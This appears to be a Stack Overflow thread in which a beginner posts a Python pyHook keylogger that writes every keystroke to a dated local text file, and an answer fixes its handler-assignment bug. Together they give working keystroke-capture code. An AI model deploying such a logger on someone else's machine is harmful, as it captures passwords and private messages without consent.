1

I just started to program in Python. My first "project" is a keylogger. I've read several lines of code posted on here and other forums. I wrote this code, which should log pressed keys and begin a new line within the .txt file everytime the enter key is hit. Could somebody please give me some advice?

import pythoncom, pyHook
from datetime import datetime
date_today = datetime.now().strftime('%Y-%b-%d')
file_log = 'C:\\Users\\admin\\Desktop\\Python\\logs\\'+date_today+'.txt' 

def OnKeyboardEvent(event):
    if event.Ascii:
        log = open(file_log,"a")
        char = chr(event.Ascii)
        if event.Ascii == 13:
            log.write('\n')
        log.write(char)

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent()
hm.HookKeyboard()
pythoncom.PumpMessages()

Thanks and best regards!

Edit: The file doesn't seem to start, as no new process or log file is created upon start

m3zli
  • 13
  • 4

1 Answers1

2

Compare with example at https://sourceforge.net/p/pyhook/wiki/PyHook_Tutorial/

You'll see your line

hm.KeyDown = OnKeyboardEvent()

should not have the trailing (). You want KeyDown to get the function, not the results of the function.

pbuck
  • 4,291
  • 2
  • 24
  • 36